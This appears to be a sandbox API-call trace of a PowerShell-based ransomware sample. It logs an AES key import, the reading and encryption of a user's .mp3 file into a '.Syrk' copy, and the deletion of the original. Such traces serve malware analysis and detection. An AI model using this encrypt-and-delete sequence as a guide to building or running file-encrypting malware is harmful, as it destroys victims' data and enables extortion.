(param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0244.653] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.653] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.654] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.654] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.654] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0244.654] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.654] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0244.654] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.654] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.654] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.654] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.654] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0244.654] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.655] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.655] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.655] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.655] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0244.655] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.655] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.655] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.655] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.655] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.655] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.655] EtwEventActivityIdControl () returned 0x0 [0244.656] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.656] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.656] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.656] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0244.657] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x373568) returned 1 [0244.659] CryptImportKey (in: hProv=0x373568, pbData=0x2456704*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c68c00) returned 1 [0244.659] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.660] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.660] EtwEventActivityIdControl () returned 0x0 [0244.660] EtwEventActivityIdControl () returned 0x0 [0244.660] EtwEventActivityIdControl () returned 0x0 [0244.666] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3")) returned 0x20 [0244.667] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3")) returned 0x20 [0244.667] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.667] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", lpFilePart=0x0) returned 0x30 [0244.668] EtwEventActivityIdControl () returned 0x0 [0244.668] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.668] EtwEventActivityIdControl () returned 0x0 [0244.668] EtwEventActivityIdControl () returned 0x0 [0244.668] EtwEventActivityIdControl () returned 0x0 [0244.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", lpFilePart=0x0) returned 0x30 [0244.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.670] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0244.670] GetFileType (hFile=0x454) returned 0x1 [0244.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.670] GetFileType (hFile=0x454) returned 0x1 [0244.670] EtwEventActivityIdControl () returned 0x0 [0244.670] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.671] EtwEventActivityIdControl () returned 0x0 [0244.671] EtwEventActivityIdControl () returned 0x0 [0244.671] EtwEventActivityIdControl () returned 0x0 [0244.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0244.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk", nBufferLength=0x36, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk", lpFilePart=0x0) returned 0x35 [0244.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.672] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0244.673] GetFileType (hFile=0x1d4) returned 0x1 [0244.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.673] GetFileType (hFile=0x1d4) returned 0x1 [0244.673] EtwEventActivityIdControl () returned 0x0 [0244.673] CryptGenRandom (in: hProv=0x373568, dwLen=0x10, pbBuffer=0x2466d58 | out: pbBuffer=0x2466d58) returned 1 [0244.674] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.675] CryptDuplicateKey (in: hKey=0x5c68c00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69240) returned 1 [0244.675] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.675] CryptSetKeyParam (hKey=0x5c69240, dwParam=0x4, pbData=0x2468090*=0x1, dwFlags=0x0) returned 1 [0244.675] CryptSetKeyParam (hKey=0x5c69240, dwParam=0x1, pbData=0x246805c, dwFlags=0x0) returned 1 [0244.675] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.676] EtwEventActivityIdControl () returned 0x0 [0244.676] EtwEventActivityIdControl () returned 0x0 [0244.676] EtwEventActivityIdControl () returned 0x0 [0244.677] EtwEventActivityIdControl () returned 0x0 [0244.677] ReadFile (in: hFile=0x454, lpBuffer=0x246accc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x246accc*, lpNumberOfBytesRead=0x5a2e7d8*=0xa7cf, lpOverlapped=0x0) returned 1 [0244.679] CryptEncrypt (in: hKey=0x5c69240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x247ece4*, pdwDataLen=0x5a2e7cc*=0xa7c0, dwBufLen=0xa7c0 | out: pbData=0x247ece4*, pdwDataLen=0x5a2e7cc*=0xa7c0) returned 1 [0244.679] WriteFile (in: hFile=0x1d4, lpBuffer=0x2466e40*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2466e40*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0244.681] WriteFile (in: hFile=0x1d4, lpBuffer=0x247fcd0*, nNumberOfBytesToWrite=0x97d4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x247fcd0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x97d4, lpOverlapped=0x0) returned 1 [0244.682] ReadFile (in: hFile=0x454, lpBuffer=0x246accc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x246accc*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0244.682] CryptEncrypt (in: hKey=0x5c69240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24894b0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24894b0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0244.682] CryptEncrypt (in: hKey=0x5c69240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24894cc*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24894cc*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0244.682] WriteFile (in: hFile=0x1d4, lpBuffer=0x2466e40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2466e40*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0244.682] CloseHandle (hObject=0x1d4) returned 1 [0244.684] CloseHandle (hObject=0x454) returned 1 [0244.684] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.685] EtwEventActivityIdControl () returned 0x0 [0244.685] EtwEventActivityIdControl () returned 0x0 [0244.685] EtwEventActivityIdControl () returned 0x0 [0244.690] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3")) returned 0x20 [0244.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", lpFilePart=0x0) returned 0x30 [0244.693] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.693] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.693] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0244.693] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0244.694] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.694] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.694] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0244.694] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0244.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0244.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0244.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.695] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0244.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0244.695] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3")) returned 0x20 [0244.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", lpFilePart=0x0) returned 0x30 [0244.698] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.698] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", lpFilePart=0x0) returned 0x30 [0244.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0244.698] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.698] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", lpFilePart=0x0) returned 0x30 [0244.698] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0244.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0244.699] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0244.699] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0244.699] CoTaskMemFree (pv=0x5c98368) [0244.701] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3")) returned 0x20 [0244.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3", lpFilePart=0x0) returned 0x30 [0244.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0244.701] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2494bb4 | out: lpFileInformation=0x2494bb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463249c0, ftCreationTime.dwHighDateTime=0x1d99693, ftLastAccessTime.dwLowDateTime=0x1efb6820, ftLastAccessTime.dwHighDateTime=0x1d99754, ftLastWriteTime.dwLowDateTime=0x1efb6820, ftLastWriteTime.dwHighDateTime=0x1d99754, nFileSizeHigh=0x0, nFileSizeLow=0xa7cf)) returned 1 [0244.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0244.701] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3")) returned 1 [0244.703] EtwEventActivityIdControl () returned 0x0 [0244.703] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.704] EtwEventActivityIdControl () returned 0x0 [0244.704] EtwEventActivityIdControl () returned 0x0 [0244.704] EtwEventActivityIdControl () returned 0x0 [0244.713] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3.syrk")) returned 0x20 [0244.714] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3.syrk")) returned 0x20 [0244.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0244.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk", nBufferLength=0x36, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk", lpFilePart=0x0) returned 0x35 [0244.714] EtwEventActivityIdControl () returned 0x0 [0244.715] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.715] EtwEventActivityIdControl () returned 0x0 [0244.715] EtwEventActivityIdControl () returned 0x0 [0244.715] EtwEventActivityIdControl () returned 0x0 [0244.719] EtwEventActivityIdControl () returned 0x0 [0244.719] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.719] EtwEventActivityIdControl () returned 0x0 [0244.719] EtwEventActivityIdControl () returned 0x0 [0244.719] EtwEventActivityIdControl () returned 0x0 [0244.723] EtwEventActivityIdControl () returned 0x0 [0244.723] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.724] EtwEventActivityIdControl () returned 0x0 [0244.724] EtwEventActivityIdControl () returned 0x0 [0244.724] EtwEventActivityIdControl () returned 0x0 [0244.727] EtwEventActivityIdControl () returned 0x0 [0244.728] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.728] EtwEventActivityIdControl () returned 0x0 [0244.728] EtwEventActivityIdControl () returned 0x0 [0244.728] EtwEventActivityIdControl () returned 0x0 [0244.732] EtwEventActivityIdControl () returned 0x0 [0244.732] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.732] EtwEventActivityIdControl () returned 0x0 [0244.732] EtwEventActivityIdControl () returned 0x0 [0244.732] EtwEventActivityIdControl () returned 0x0 [0244.736] EtwEventActivityIdControl () returned 0x0 [0244.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0244.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\vAZMA_D1FuafeI4nm_9.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\vazma_d1fuafei4nm_9.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x249e8e0 | out: lpFileInformation=0x249e8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8ac8d0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xd8ac8d0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xd8d2a30, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xa7e4)) returned 1 [0244.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0244.740] GetConsoleOutputCP () returned 0x1b5 [0244.741] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.741] GetConsoleOutputCP () returned 0x1b5 [0244.741] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.741] GetConsoleOutputCP () returned 0x1b5 [0244.741] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.741] GetConsoleOutputCP () returned 0x1b5 [0244.741] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.742] GetConsoleOutputCP () returned 0x1b5 [0244.742] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.742] GetConsoleOutputCP () returned 0x1b5 [0244.742] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.742] GetConsoleOutputCP () returned 0x1b5 [0244.742] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 